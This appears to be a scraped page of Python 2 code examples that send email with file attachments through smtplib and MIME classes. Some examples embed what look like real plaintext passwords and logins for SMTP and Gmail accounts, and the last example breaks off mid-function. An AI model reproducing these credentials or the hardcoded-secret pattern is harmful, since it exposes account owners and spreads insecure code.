Exemple #1
0
def send_attachment_gmail(to, attach, subject=' -- File Attached -- ', text='Please save the attachement and open file locally.'):
    import smtplib, os.path, email
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email import Encoders
    #print('Enter username or return to accept the default: \n')
    gmail_user = str(input('Enter your Gmail or GoogleApps Address in single quotes: '))
    gmail_pass = str(input('Enter your password in single quotes: '))
    msg = MIMEMultipart()
    msg['From']    = gmail_user
    msg['To']      = to
    

    msg.attach(MIMEText(text))
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)
    msg['Subject'] = 'Filesize: ' + str(len(open(attach, 'rb').read())) + subject + ' Filename %s ' % os.path.basename(attach)
    
    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    #mailServer.ehlo()
    mailServer.starttls()
    #mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pass)
    mailServer.sendmail(gmail_user, to, msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.quit()
    print "Mail with attachment {} \nSent to: {}".format(attach, to)
    return
Exemple #2
0
def send_mail(send_to, subject, text, file):

    msg = MIMEMultipart()
    msg['From'] = 'ITLand.Root <*****@*****.**>'
    msg['To'] = send_to
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    part = MIMEBase('application', "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    #server = smtplib.SMTP('smtp.gmail.com:587')
    #server.starttls()
    #server.login('jenko.kov', 'efi42dekut')
    #server.sendmail(send_from, send_to, msg.as_string())
    #server.quit()

    server = smtplib.SMTP('172.16.10.254:25')
    server.sendmail(send_from, send_to, msg.as_string())
    server.quit()
def sendEmail(to, subject, text, files=[]):
        assert type(to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = USERNAME
        msg['To'] = COMMASPACE.join(to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for file in files:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(open(file, "rb").read() )
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="%s"'% os.path.basename(file))
                msg.attach(part)

                server = smtplib.SMTP('smtp.gmail.com:587')
                server.ehlo_or_helo_if_needed()
                server.starttls()
                server.ehlo_or_helo_if_needed()
                server.login(USERNAME,PASSWORD)
                server.sendmail(USERNAME, MAILTO, msg.as_string())
                server.quit()
def send_mail(report_contents):
	msg = MIMEMultipart()
	msg['Subject'] = SUBJECT 
	msg['From'] = EMAIL_FROM
	msg['To'] = ', '.join(EMAIL_TO)

	fp = open('/home/pierre/es_email_intel/wordcloud.png', 'rb')
	try:
		msgImage = MIMEImage(fp.read())
	except:
		fp = open('/home/pierre/es_email_intel/1x1.png', 'rb')
		msgImage = MIMEImage(fp.read())
	fp.close()
	msgImage.add_header('Content-ID', '<wordcloud>')
	msg.attach(msgImage)

	part = MIMEBase('application', "octet-stream")
	part.set_payload(report_contents)
	Encoders.encode_base64(part)
	part.add_header('Content-Disposition', 'attachment; filename="report.html"')

	msg.attach(part)

	server = smtplib.SMTP(EMAIL_SERVER)
	server.sendmail(EMAIL_FROM, EMAIL_TO, msg.as_string())
Exemple #5
0
def mail(to, subject, text, attach):
    msg = MIMEMultipart()

    print gmail_user
    msg['From'] = gmail_user
    realToString=''
    for s in to:
        realToString = realToString + s + ","
#    print realToString,to, [gmail_user]+[]+to
    msg['To'] = gmail_user#realToString
    msg['Subject'] = subject

    msg.attach(MIMEText(text))


    #attach each file in the list
    for file in attach:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(file, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(file))
        msg.attach(part)

    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)
    mailServer.sendmail(gmail_user, [gmail_user]+[]+to, msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.close()
    def get_mail_text(self, fields, request, **kwargs):
        """ Get header and body of e-amil as text (string)
            This will create both parts of the e-mail: text and the XML file
        """

        headerinfo, additional_headers, body = self.get_header_body_tuple(fields, request, **kwargs)
        body_xml = self.get_mail_text_in_xml(fields, request, **kwargs)

        self.safe_xml_in_filesystem(body_xml)

        mime_text = MIMEText(body, _subtype=self.body_type or 'html', _charset=self._site_encoding())
        attachments = self.get_attachments(fields, request)

        outer = MIMEMultipart()
        outer.attach(mime_text)

        # write header
        for key, value in headerinfo.items():
            outer[key] = value

        # write additional header
        for a in additional_headers:
            key, value = a.split(':', 1)
            outer.add_header(key, value.strip())

        for attachment in attachments:
            filename = attachment[0]
            ctype = attachment[1]
            encoding = attachment[2]
            content = attachment[3]

            if ctype is None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            if maintype == 'text':
                msg = MIMEText(content, _subtype=subtype)
            elif maintype == 'image':
                msg = MIMEImage(content, _subtype=subtype)
            elif maintype == 'audio':
                msg = MIMEAudio(content, _subtype=subtype)
            else:
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(content)
                # Encode the payload using Base64
                Encoders.encode_base64(msg)

            # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=filename)
            outer.attach(msg)

        ctype = 'application/octet-stream'
        maintype, subtype = ctype.split('/', 1)
        p = MIMEBase(maintype, subtype)
        p.set_payload(body_xml)
        p.add_header('content-disposition', 'attachment', filename='form.xml')
        Encoders.encode_base64(p)
        outer.attach(p)
        return outer.as_string()
def mail(to, subject, text, attach):
   msg = MIMEMultipart()

   msg['From'] = gmail_user
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   print os.path.basename
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Exemple #8
0
def send_email_csv_attach(toaddrs, mail, csv_fn, fromaddr=EMAIL_SENDER_ADDR):
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddrs
    msg['Subject'] = 'please check attached csv file for cr status'
    msg.preamble = 'You will not see this in a MIME-aware mail reader.\n'
    # To guarantee the message ends with a newline
    msg.epilogue = ''

    #body
    text = MIMEText(mail)
    msg.attach(text)

    #attachment
    csv = MIMEBase('text', 'x-comma-separated-values')
    fp = open(csv_fn, 'rb')
    csv.set_payload(fp.read())
    Encoders.encode_base64(csv)
    csv.add_header('Content-Disposition', 'attachment', filename=os.path.basename(csv_fn))
    msg.attach(csv)

    server = smtplib.SMTP('remotesmtp.mot.com')
    server.set_debuglevel(1)
    server.sendmail(fromaddr, toaddrs, msg.as_string())
    server.quit()
Exemple #9
0
def send_file_via_mail(file, subject, message, mail_to, mail_from, smtp_server, smtp_port, mail_password_env_name):
    msg = MIMEMultipart()

    msg['From'] = mail_from
    msg['To'] = mail_to
    msg['Subject'] = subject

    body = message

    msg.attach(MIMEText(body, 'plain'))

    filename = file
    attachment = open(filename, "rb")

    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    msg.attach(part)

    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    server.login(mail_from, os.getenv(mail_password_env_name))
    text = msg.as_string()
    server.sendmail(mail_from, mail_to, text)
    server.quit()
def mail(to, frm, subject, text, attach, smtphost, smtpuser, smtppass):
   msg = MIMEMultipart()

   msg['From'] = frm
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
	
   if attach:
     part = MIMEBase('application', 'octet-stream')
     part.set_payload(open(attach, 'rb').read())
     Encoders.encode_base64(part)
     part.add_header('Content-Disposition',
        'attachment; filename="%s"' % os.path.basename(attach))
     msg.attach(part)

   mailServer = smtplib.SMTP(smtphost, 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(smtpuser, smtppass)
   mailServer.sendmail(smtpuser, to, msg.as_string())
   # todo, we should keep server open if we send a list of emails, do this on a to user bases for lists
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
    def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
        assert type(send_to)==list
        assert type(files)==list

        msg = MIMEMultipart()
        msg['From'] = send_from
        msg['To'] = COMMASPACE.join(send_to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject

        msg.attach( MIMEText(text) )

        for f in files:
            part = MIMEBase('application', "octet-stream")
            part.set_payload( open(f,"rb").read() )
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
            msg.attach(part)

        #Set Email smtp parameters
        smtp = smtplib.SMTP('smtp.gmail.com:587')
        smtp.starttls()
        smtp.login('*****@*****.**', 'pythonheat1')
        smtp.sendmail(send_from, send_to, msg.as_string())
        smtp.close()
def mail(to, subject, text, attach=None):
   msg = MIMEMultipart()

   msg['From'] = email_settings.email_from_addr
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))
  
   if attach:
       print attach
       print os.path.normpath(attach)
       fp = open(attach, 'r')
       msg.attach(MIMEText(fp.read()))# Put the attachment in line also
       fp.close()

       part = MIMEBase('application', 'octet-stream')
       part.set_payload(open(attach, 'rb').read())
       Encoders.encode_base64(part)
       part.add_header('Content-Disposition',
               'attachment; filename="%s"' % os.path.basename(attach))
       msg.attach(part)
   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(email_settings.email_from_addr, email_settings.gmail_pwd)
   mailServer.sendmail(email_settings.email_from_addr, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close()
Exemple #13
0
    def sendmail(self, destination, subject, message, attach = None):        
        try:
            msg = MIMEMultipart()

            msg['From'] = self.username
            msg['Reply-to'] = self.username
            msg['To'] = destination
            msg['Subject'] = subject

            msg.attach(MIMEText(message))

            if attach:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(attach))
                msg.attach(part)

            mailServer = SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            try:
                mailServer.login(self.username, self.password)
                mailServer.sendmail(self.username, destination, msg.as_string())
            finally:
                mailServer.close()
        except Exception, exc:
            sys.exit("Failed to send mail; %s" % str(exc))
Exemple #14
0
def send_mail(send_to, subject, text, files=[], server='localhost',
        username=None, password=None):

    send_from = '*****@*****.**'

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    for f in files:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(f, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                'attachment; filename="%s"' % basename(f))
        msg.attach(part)

    smtp = SMTP(server)
    if username is not None:
        smtp.login(str(username), str(password))

    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Exemple #15
0
def mail(to, cc, subject, text, attach):
    '''Sends email from [email protected]'''
    username = "******"
    password = "******"
    msg = MIMEMultipart()

    msg['From'] = username
    msg['To'] = ", ".join(to)
    msg['Subject'] = subject
    msg['Cc'] = ", ".join(cc)

    msg.attach(MIMEText(text))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)

    mailServer = smtplib.SMTP("smtp.fordfound.org", 25)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(username, password)
    mailServer.sendmail(username, to+cc, msg.as_string())
    mailServer.close()
Exemple #16
0
def sendEmail(send_from, send_to, subject, text, cc_to=[], files=[], server="192.168.42.13"):
    assert type(send_to)==list
    assert type(files)==list

    msg=MIMEMultipart()
    msg.set_charset("utf-8")
    msg['From']=send_from
    msg['To']=COMMASPACE.join(send_to)

    if cc_to:
        assert type(cc_to)==list
        msg['cc']=COMMASPACE.join(cc_to)
        send_to.extend(cc_to)

    msg['Date']=formatdate(localtime=True)
    msg['Subject']=subject

    msg.attach(MIMEText(text))

    for f in files:
        part=MIMEBase('application', "octet-stream")
        part.set_payload(open(f, "rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'%Header(os.path.basename(f), 'utf-8'))
        msg.attach(part)

    smtp=smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
    import smtplib
    import os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    assert type(send_to)==list
    assert type(files)==list

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)
  
    smtp = smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
def SendEmail(fPaths, isAttachmt, body, toList, ccList, bccList, subject):
	
	HOST = "cormailgw.raleighnc.gov"
	#FROM = "*****@*****.**"
	FROM = "*****@*****.**"
	TO = toList
	CC = ccList
	BCC = bccList
	msg = MIMEMultipart()
	msg['FROM'] = FROM 
	msg['TO'] = TO
	msg['CC'] = CC
	msg['BCC'] = BCC
	msg['Date'] = formatdate(localtime = True)
	msg['Subject'] = subject
	msg.attach(MIMEText(body))
	if isAttachmt:
		for fPath in fPaths:
			part = MIMEBase('text/plain', 'octet-stream')
			part.set_payload(open(fPath, 'rb').read())
			Encoders.encode_base64(part)
			part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(fPath))
			msg.attach(part)
			print ("message attached")
	server = smtplib.SMTP(HOST)
	print ("Connected to server")
	server.sendmail(FROM, TO.split(",") + CC.split(",") + BCC.split(","), msg.as_string())
	print ("Sending Email...")
	server.close()
	for fPath in fPaths:
		os.remove(fPath)	
	print ("Email sent")
def mail(To,From,Server='localhost',Subject='',Message='',Attachments=[]):
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.utils import COMMASPACE, formatdate
    from email import Encoders
    
    To = ','.join(To)
    msg = MIMEMultipart()
    msg['From'] = From
    msg['To'] = To
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = Subject
    
    msg.attach(MIMEText(Message))
    
    if Attachments:
        for file in Attachments:
            part = MIMEBase('application','octet-stream')
            part.set_payload(open(file,'rb').read())
            part.add_header('Content-Disposition','attachment; filename=%s' % os.path.basename(file))
            msg.attach(part)
    
    smtp = smtplib.SMTP(Server)
    smtp.sendmail(From,To,msg.as_string())
    smtp.close()
Exemple #20
0
def send_mail(server, port, account, password, tls, _from, to, subject, message, files):
    conn = smtplib.SMTP(server, port, timeout=settings.SMTP_TIMEOUT)
    if tls:
        conn.starttls()
    
    if account and password:
        conn.login(account, password)
    
    email = MIMEMultipart()
    email['Subject'] = subject
    email['From'] = _from
    email['To'] = ', '.join(to)
    email.attach(MIMEText(message))
    
    for file in reversed(files):
        part = MIMEBase('image', 'jpeg')
        with open(file, 'rb') as f:
            part.set_payload(f.read())
        
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
        email.attach(part)
    
    if files:
        logging.debug('attached %d pictures' % len(files))

    logging.debug('sending email message')
    conn.sendmail(_from, to, email.as_string())
    conn.quit()
Exemple #21
0
def load_attachment(file):
    part = MIMEBase("application", "octet-stream")
    part.set_payload(open(file, "rb").read())
    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))

    return part
Exemple #22
0
def send_mail(send_from, send_to, subject, text, files=[], server='smtp.typa.ru'):
	from smtplib import SMTP
	from os import path
	from email.MIMEMultipart import MIMEMultipart
	from email.MIMEBase import MIMEBase
	from email.MIMEText import MIMEText
	from email.Utils import COMMASPACE, formatdate
	from email import Encoders
	from email.header import Header

	assert type(send_to)==list
	assert type(files)==list
	msg = MIMEMultipart()
	msg['From'] = Header(send_from.decode("utf-8")).encode()
	msg['To'] = Header(COMMASPACE.join(send_to).decode("utf-8")).encode()
	msg['Date'] = formatdate(localtime=True)
	msg['Subject'] = Header(subject.decode("utf-8")).encode()
	msg.attach( MIMEText(text,'plain','UTF-8') )

	for f in files:
		part = MIMEBase('application', "octet-stream")
		part.set_payload( open(f,"rb").read() )
		Encoders.encode_base64(part)
		part.add_header('Content-Disposition', 'attachment; filename="%s"' % path.basename(f))
		msg.attach(part)
	smtp = SMTP(server, 25)
	smtp.sendmail(send_from, send_to, msg.as_string())
	smtp.close()		
Exemple #23
0
def sendmail(subject):
    MAIL_FROM = '*****@*****.**'
    MAIL_TO = ['*****@*****.**']
    BAK_DIR = '/path/to/bak/folder'

    msg = MIMEMultipart()
    msg['From'] = MAIL_FROM
    msg['Subject'] = subject

    msg.attach( MIMEText('test send attachment') )
    for filename in os.listdir(BAK_DIR):
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(os.path.join(BAK_DIR, filename),"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(filename))
        msg.attach(part)

    try:
        smtp = ExtendedSMTP()
        smtp.callback = callback
        smtp.connect('smtp.qq.com', 25)
        smtp.login('mymail', 'mypwd')
        smtp.sendmail(MAIL_FROM, MAIL_TO, msg.as_string())
        smtp.close()
        os.system('rm -f %s/*' % BAK_DIR)
    except Exception, e:
        print e
Exemple #24
0
def send_email(to, name, file):
    import smtplib, os
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders

    msg = MIMEMultipart()
    msg["Subject"] = "Your task is processed"
    msg["From"] = "poddy.org"
    msg["To"] = to

    msg.attach(MIMEText("Dear %s, thank you for using SourceAnalyzer Web!" % name))
    msg.attach(MIMEText("See in attachment."))

    part = MIMEBase("application", "octet-stream")

    f = open(file, "rb")
    part.set_payload(f.read())
    f.close()

    Encoders.encode_base64(part)
    part.add_header("Content-Disposition", 'attachment; filename="%s"' % os.path.basename(file))
    msg.attach(part)

    s = smtplib.SMTP("localhost")
    s.sendmail("*****@*****.**", [to], msg.as_string())
    s.quit()
Exemple #25
0
def send_mail(send_from, send_to, subject, text, files=[], html=None, server="localhost"):
  assert type(send_to)==list
  assert type(files)==list

  if html:
    msg = MIMEMultipart('alternative')
    textbody = dehtml(text)
    part1 = MIMEText(textbody, 'plain')
    part2 = MIMEText(text, 'html')
    msg.attach(part1)
    msg.attach(part2)
  else:  
    msg = MIMEMultipart()
    msg.attach( MIMEText(text) )

  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject
  
  for f in files:
    part = MIMEBase('application', "octet-stream")
    part.set_payload( open(f,"rb").read() )
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Exemple #26
0
def mail(to, subject, text, attach):
   print '\nPlease enter password to connect with your Gmail account'
   password = getpass.getpass()
   msg = MIMEMultipart()

   msg['From'] = sender
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(sender, password)
   mailServer.sendmail(sender, to, msg.as_string())
   mailServer.close()
 def enviar_correos(self, pathfirma , partner, data):
     msg = MIMEMultipart()
     destinatario = ['%s <%s>' % (partner.name,partner.email) ] 
     msg['To'] = '%s' % partner.email
     msg['From'] = '*****@*****.**'        
     msg['Subject'] = 'factura numero %s' % str(data.number)                    
     name_file = 'DTE_PRUEBA_%s.xml'  % str(datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S"))
     msg.attach(MIMEText("""
     Estimado cliente adjunto factura N°<h3>%s</h3></br>
     sub total: %s</br>
     impuesto: %s</br>
     total: %s</br>"""%(str(data.number),str(data.amount_untaxed),str(data.amount_tax),str(data.amount_total))
     ,'html'))                
     adjunto = MIMEBase('multipart', 'mixed')                
     with open(pathfirma, 'r') as myfile:
         adjunto.set_payload(myfile.read())
         myfile.close()        
     encoders.encode_base64(adjunto)        
     adjunto.add_header('Content-Disposition', 'attachment', filename='factura.xml')        
     msg.attach(adjunto)                
     mailServer = smtplib.SMTP('mail.econube.cl', 26)        
     mailServer.set_debuglevel(1)
     mailServer.ehlo()
     mailServer.starttls()                        
     mailServer.login("*****@*****.**","dte2015")
     mailServer.sendmail("*****@*****.**", destinatario, msg.as_string())
     mailServer.quit()
def send_mail(send_from, send_to, subject, text, files=[], server="localhost",password=None,user=None):
  if type(send_to) in types.StringTypes: send_to = [send_to]
  if files is None: files = []
  assert type(files)==list

  msg = MIMEMultipart()
  msg['From'] = send_from
  msg['To'] = COMMASPACE.join(send_to)
  msg['Date'] = formatdate(localtime=True)
  msg['Subject'] = subject

  msg.attach( MIMEText(text) )

  for f in files:
    part = MIMEBase('application', "octet-stream")
    content = open(f, 'rb').read()
    part.set_payload(content)
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
    msg.attach(part)

  smtp = smtplib.SMTP(server)
  if password:
    if not user: user = msg['From']
    smtp.starttls()  
    smtp.login(user,password)      
  smtp.sendmail(send_from, send_to, msg.as_string())
  smtp.close()
Exemple #29
0
def send_mail(send_from, send_to, subject, text, files=[], server="localhost", port=25):
    assert type(send_to)==list
    assert type(files)==list

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', 'ISO-8859-1', 'UTF-8':
        try:
            text.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach( MIMEText(text.encode(body_charset), 'plain', body_charset) )

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(f,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)

    smtp = smtplib.SMTP(host=server, port=port, local_hostname='cked.es')
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Exemple #30
0
    def sendEmailAlert(self):
        msg = MIMEMultipart()
        alert = "Found hit for {matches} in pastie {url}".format(matches=self.matchesToText(), url=self.url)
        # headers
        msg['Subject'] = yamlconfig['email']['subject'].format(subject=alert)
        msg['From'] = yamlconfig['email']['from']
        msg['To'] = yamlconfig['email']['to']
        # message body
        message = '''
I found a hit for a regular expression on one of the pastebin sites.

The site where the paste came from :        {site}
The original paste was located here:        {url}
And the regular expressions that matched:   {matches}
The paste has also been attached to this email.

# LATER below follows a small exerpt from the paste to give you direct context

        '''.format(site=self.site.name, url=self.url, matches=self.matchesToRegex())
        msg.attach(MIMEText(message))
        # original paste as attachment
        part = MIMEBase('application', "octet-stream")
        part.set_payload(self.pastie_content)
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s.txt"' % (self.id))
        msg.attach(part)
        # send out the mail
        try:
            s = smtplib.SMTP(yamlconfig['email']['server'], yamlconfig['email']['port'])
            if 'username' in yamlconfig['email'] and yamlconfig['email']['username']:
                s.login(yamlconfig['email']['username'], yamlconfig['email']['password'])
            s.sendmail(yamlconfig['email']['from'], yamlconfig['email']['to'], msg.as_string())
            s.close()
        except smtplib.SMTPException, e:
            logger.error("ERROR: unable to send email: {0}".format(e))
Exemple #31
0
def send_email(address, file):

    gmail_user = '******'
    #ASP = open("C:\Users\Josh Thomason\Documents\Work\ASP.txt", 'r')
    ASP = open("D:\VM_Share\S1_api\ASP.txt", 'r')
    #ASP = open("ASP.txt", 'r')
    gmail_password = ASP.read()
    to = address  #, '*****@*****.**']
    subject = file.replace('.csv', '')

    msg = MIMEMultipart()

    msg['FROM'] = gmail_user
    msg['To'] = to
    msg['Subject'] = subject

    body = """
	Hello InfoSec team!

	Please find last week's list of assets with Sentinel One installed attached.

	Let me know if you have any questions or concerns!

	Thanks!

	Joshua Thomason
	Information Security Engineer
	AVX Corporation
	One AVX Blvd.
	Fountain Inn, SC 29644 USA
	TEL: (864) 967-2150 x8109
	[email protected]"""

    msg.attach(MIMEText(body, 'plain'))

    filename = file
    attachment = open(file, 'rb')

    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename=%s' % filename)

    msg.attach(part)

    #sent_from = gmail_user

    #message = 'Subject: {}\n\n{}'.format(subject, body)
    #email_text = """\
    #From: %s
    #To: %s
    #Subject: %s

    #%s
    #""" % (sent_from, ", ".join(to), subject, body)

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)
        text = msg.as_string()
        server.sendmail(gmail_user, to, text)
        server.close()

        print 'Email sent!'
    except:
        print 'Something went wrong...'

    return
Exemple #32
0
    def get_mail_text(self, fields, request, **kwargs):
        """Get header and body of e-mail as text (string)
        """

        (headerinfo, additional_headers,
         body) = self.get_header_body_tuple(fields, request, **kwargs)

        if not isinstance(body, unicode):
            body = unicode(body, self._site_encoding())
        portal = getToolByName(self, 'portal_url').getPortalObject()
        email_charset = portal.getProperty('email_charset', 'utf-8')
        # always use text/plain for encrypted bodies
        subtype = getattr(self, 'gpg_keyid', False) and 'plain' or self.body_type or 'html'
        mime_text = MIMEText(body.encode(email_charset, 'replace'),
                _subtype=subtype, _charset=email_charset)

        attachments = self.get_attachments(fields, request)

        if attachments:
            outer = MIMEMultipart()
            outer.attach(mime_text)
        else:
            outer = mime_text

        # write header
        for key, value in headerinfo.items():
            outer[key] = value

        # write additional header
        for a in additional_headers:
            key, value = a.split(':', 1)
            outer.add_header(key, value.strip())

        for attachment in attachments:
            filename = attachment[0]
            ctype = attachment[1]
            # encoding = attachment[2]
            content = attachment[3]

            if ctype is None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            if maintype == 'text':
                msg = MIMEText(content, _subtype=subtype)
            elif maintype == 'image':
                msg = MIMEImage(content, _subtype=subtype)
            elif maintype == 'audio':
                msg = MIMEAudio(content, _subtype=subtype)
            else:
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(content)
                # Encode the payload using Base64
                Encoders.encode_base64(msg)

            # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=filename)
            outer.attach(msg)

        return outer.as_string()
Exemple #33
0
def main():
    smtp_server = ((raw_input("SMTP Server: ")).strip())
    smtp_port = int((raw_input("Port: ")).strip())
    mail_to = ((raw_input("Email To: ")).strip())
    subject = ((raw_input("subject: ")).strip())
    mail_from = ((raw_input("Email From: ")).strip())

    msg = MIMEMultipart()

    while 1:
        body_msg = []
        try:
            if (({
                    'y': 1,
                    'n': 0
            })[((
                (raw_input("Write Message?  y/n : ")).strip()).lower())]) == 0:
                break
            else:

                try:
                    if (({
                            'h': 'h',
                            'p': 'p'
                    })[(((raw_input("(H)TML or (P)lain Text?  H/P : ")
                          ).strip()).lower())]) == 'h':
                        type_msg = 'html'
                    else:
                        type_msg = 'plain'
                except:
                    print("Wrong Key!, plain text selected by default")

                print(
                    "\nWhen you end, press CTRL+C\n\nBody Message\t[Type: %s]\n%s"
                    % (type_msg, '=' * 65))
                while 1:
                    try:
                        body_msg.append(raw_input(">"))
                    except:
                        break
                print('%s\n\n' % ('=' * 62))
                body_msg = (('\n'.join(body_msg)).strip())
                msg.attach(MIMEText(body_msg, type_msg))
                break
        except:
            if len(body_msg) >= 1:
                break
            else:
                print('Something goes wrong!')

    while 1:
        try:
            if (({
                    'y': 1,
                    'n': 0
            })[((
                (raw_input("Attach a file?  y/n : ")).strip()).lower())]) == 0:
                break
            else:
                file_path = ((raw_input("File Path: ")).strip())
